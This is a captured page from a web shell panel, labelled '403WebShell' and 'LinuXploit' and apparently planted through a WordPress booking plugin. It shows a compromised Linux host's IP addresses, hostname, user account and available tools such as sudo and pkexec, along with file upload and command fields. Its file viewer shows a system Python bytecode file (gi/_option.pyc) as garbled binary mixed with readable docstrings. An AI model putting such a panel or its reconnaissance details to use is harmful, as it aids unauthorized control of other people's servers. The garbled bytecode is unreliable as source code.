Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/gi/__pycache__/_option.cpython-310.pyc
o

f�_T3�@s�dZddlZddlZddlmZmZmZmZmZddlm	Z	ddl
mZddlm
Z
e	d�Ze�e���Zgd	�ZGd
d�dej�ZGdd
�d
ej�ZGdd�dej�ZeZdS)a,GOption command line parser

Extends optparse to use the GOptionGroup, GOptionEntry and GOptionContext
objects. So it is possible to use the gtk, gnome_program and gstreamer command
line groups and contexts.

Use this interface instead of the raw wrappers of GOptionContext and
GOptionGroup in glib.
�N)�
OptParseError�OptionError�OptionValueError�BadOptionError�OptionConflictError�)�get_introspection_module)�_gi)�GError�GLib)	rrrrr�Option�OptionGroup�OptionParser�make_optionc@sNeZdZdZejjdZejjgd�Zdej	Z
dd�Zdd�Zd	d
�Z
dS)ra�Represents a command line option

    To use the extended possibilities of the GOption API Option
    (and make_option) are extended with new types and attributes.

    Types:
        filename   The supplied arguments are read as filename, GOption
                   parses this type in with the GLib filename encoding.

    :ivar optional_arg:
        This does not need a arguement, but it can be supplied.
    :ivar hidden:
        The help list does not show this option
    :ivar in_main:
        This option apears in the main group, this should only
        be used for backwards compatibility.

    Use Option.REMAINING as option name to get all positional arguments.

    .. NOTE::
        Every argument to an option is passed as utf-8 coded string, the only
        exception are options which use the 'filename' type, its arguments
        are passed as strings in the GLib filename encoding.

    For further help, see optparse.Option.
    )�filename)�hidden�in_main�optional_arg�--cOs^tjj|g|�Ri|��|jstd��t|j�t|j�kr"td��|js-td|jd��dS)Nz!%s at least one long option name.z;%s at least more long option names than short option names.z%s needs a help message.r)�optparser�__init__�
_long_opts�
ValueError�len�_short_opts�help��self�args�kwargs�r �,/usr/lib/python3/dist-packages/gi/_option.pyr^s��zOption.__init__cCsF|j|vr|j�|j�tj�||�t|j�t|j�kr!td��dS)NzCgoption.Option needs more long option names than short option names)	�	REMAININGr�appendrr�_set_opt_stringrrr)rZoptsr r r!r$js
�zOption._set_opt_stringccs��d}|jr|tjjO}|jr|tjjO}|��r#|jr"|tjjO}n|tjj	O}|j
dkr4|tjjO}t|j
|j�D] \}}|d}t|t�sM|�d�}|dd�|||j|jfVq;|j
t|j�d�D]}|dd�d||j|jfVqfdS)Nrrrzutf-8��)rrZOptionFlagsZHIDDENrZIN_MAINZtakes_valuerZOPTIONAL_ARGZNO_ARG�typeZFILENAME�ziprr�
isinstance�bytes�encoder�metavarr)r�flagsZ	long_nameZ
short_nameZshort_bytesr r r!�_to_goptionentriesrs*��


�zOption._to_goptionentriesN)�__name__�
__module__�__qualname__�__doc__rrZTYPESZATTRSrZOPTION_REMAININGr"rr$r.r r r r!r7s
rc@sBeZdZdZ			ddd�Zdd�Zdd	�Zdd
d�Zdd
�ZdS)r
a�A group of command line options.

    :param str name:
        The groups name, used to create the --help-{name} option
    :param str description:
        Shown as title of the groups help view
    :param str help_description:
        Shown as help to the --help-{name} option
    :param list option_list:
        The options used in this group, must be option.Option()
    :param dict defaults:
        A dicitionary of default values
    :param translation_domain:
           Sets the translation domain for gettext().

    .. NOTE::
        This OptionGroup does not exactly map the optparse.OptionGroup
        interface. There is no parser object to supply, but it is possible
        to set default values and option_lists. Also the default values and
        values are not shared with the OptionParser.

    To pass a OptionGroup into a function which expects a GOptionGroup (e.g.
    gnome_program_init() ). OptionGroup.get_option_group() can be used.

    For further help, see optparse.OptionGroup.
    �NcCsZtj�|td|�||_d|_||_|r||_d|_||_	|r)|D]	}|�
|�q!dSdS)N�error)rZOptionContainerrr�name�parser�help_description�defaults�values�translation_domainZ
add_option)rr5�descriptionr7�option_listr8r:�optionr r r!r�s�zOptionGroup.__init__cCsg|_|��dS�N)r<Z_create_option_mappings)rr r r!�_create_option_list�szOptionGroup._create_option_listcsb��fdd�}t��j�j�j|�}�jr|��j�g}�jD]	}|�|�	��q |�
|�|S)Ncs~|�d�r�j|}n�j|}z|�||�j��WdSty>t��d}tt	|��}t
|_tj
j|_t	|�|_|�w)Nrr)�
startswith�	_long_opt�
_short_opt�processr9r�sys�exc_infor
�str�OPTION_CONTEXT_ERROR_QUARK�domainrr�	BAD_VALUE�code�message)�option_name�option_value�group�optr4Zgerror�r6rr r!�callback�s



�z.OptionGroup._to_goptiongroup.<locals>.callback)r	r
r5r;r7r:Zset_translation_domainr<�extendr.�add_entries)rr6rQrN�entriesr=r rPr!�_to_goptiongroup�s�

zOptionGroup._to_goptiongroupcCs|��|�|�S)z� Returns the corresponding GOptionGroup object.

        Can be used as parameter for gnome_program_init(), gtk_init().
        )�set_values_to_defaultsrU)rr6r r r!�get_option_group�s
zOptionGroup.get_option_groupcCsR|jD]}|j�|j�}t|t�r|��}|�||�|j|j<qt�	|j�|_
dSr>)r<r8�get�destr)rFZget_opt_stringZcheck_valuerZValuesr9)rr=�defaultZopt_strr r r!rV�s

��z"OptionGroup.set_values_to_defaults)r3NNNr>)	r/r0r1r2rr?rUrWrVr r r r!r
�s
�
r
c@sJeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	ddd�Z
dS)raHCommand line parser with GOption support.

    :param bool help_enabled:
        The --help, --help-all and --help-{group} options are enabled (default).
    :param bool ignore_unknown_options:
        Do not throw a exception when a option is not knwon, the option
        will be in the result list.

    .. NOTE::
        The OptionParser interface is not the exactly the same as the
        optparse.OptionParser interface. Especially the usage parameter
        is only used to show the metavar of the arguements.

    OptionParser.add_option_group() does not only accept OptionGroup instances
    but also glib.OptionGroup, which is returned by gtk_get_option_group().

    Only glib.option.OptionGroup and glib.option.Option instances should
    be passed as groups and options.

    For further help, see optparse.OptionParser.
    cOsNd|vrt|d<|�dd�|_|�dd�|_tjj|g|�Rddi|��dS)NZoption_class�help_enabledT�ignore_unknown_optionsFZadd_help_option)r�popr[r\rrrrr r r!rs�

�
�zOptionParser.__init__cCs<|dur	d|_dS|�d�r|td�d�|_dS||_dS)Nr3z%prog)�usager@r)rr^r r r!�	set_usages



zOptionParser.set_usagec
s��jr�jd�j}n�j}t�|�}|��j�|��j��jD]}t	|tj
�r.|}n|���}|�|�q#��fdd�}t�
ddd|�}g}�j
D]	}	|�|	���qM|�|�|�|�|S)Nz - cs4|�d�r�j|}n�j|}|�||���dS)Nr)r@rArBrC)rLrMrNrO�rr9r r!rQ's

z1OptionParser._to_goptioncontext.<locals>.callback)r;r^r	Z
OptionContextZset_help_enabledr[Zset_ignore_unknown_optionsr\�
option_groupsr)r
rW�	add_groupr<rRr.rSZset_main_group)
rr9Zparameter_string�contextZoption_groupZg_grouprQZ
main_groupZmain_entriesr=r r`r!�_to_goptioncontexts&





zOptionParser._to_goptioncontextcOs�t|dt�rtj�|t|g|�Ri|���dSt|�dkrO|sOt|dt�r=|djs2||d_|dj|ur=td��t|dt	j�rO|j
�|d�dStjj|g|�Ri|��dS)Nrrz"invalid OptionGroup (wrong parser))r)rFrr�add_option_groupr
rr6rr	rar#rr r r!re7s�

zOptionParser.add_option_groupcCs6|jdd�}|jD]}t|tj�r|�|j�q
|Sr>)r<rar)rr
rR)r�optionsrNr r r!�_get_all_optionsGs
�zOptionParser._get_all_optionscCs4|�|�}|�tjdg|�dd�|dd�<dS)Nrr)rd�parserD�argv)rZlargsZrargsr9rcr r r!�
_process_argsNs
*zOptionParser._process_argsNcCs�ztj�|||�\}}Wn8tyDt��d}|jtkr�|jt	j
jkr+t|j
��|jt	j
jkr7t|j
��|jt	j
jkrCt|j
���w|jD]}|jj��D]
\}}|�||�qPqH||fS)Nr)rr�
parse_argsr
rDrErHrGrJrrrIrrKZUNKNOWN_OPTIONrZFAILEDrrar9�__dict__�itemsZensure_value)rrr9rfr4rN�key�valuer r r!rkVs*�



�

�zOptionParser.parse_args)NN)r/r0r1r2rr_rdrergrjrkr r r r!r�s	 r)r2rDrrrrrr�modulerZgir	Z	gi._errorr
rZquark_to_stringZoption_error_quarkrG�__all__rr
rrr r r r!�<module>s

Wa

Youez - 2016 - github.com/yon3zu
LinuXploit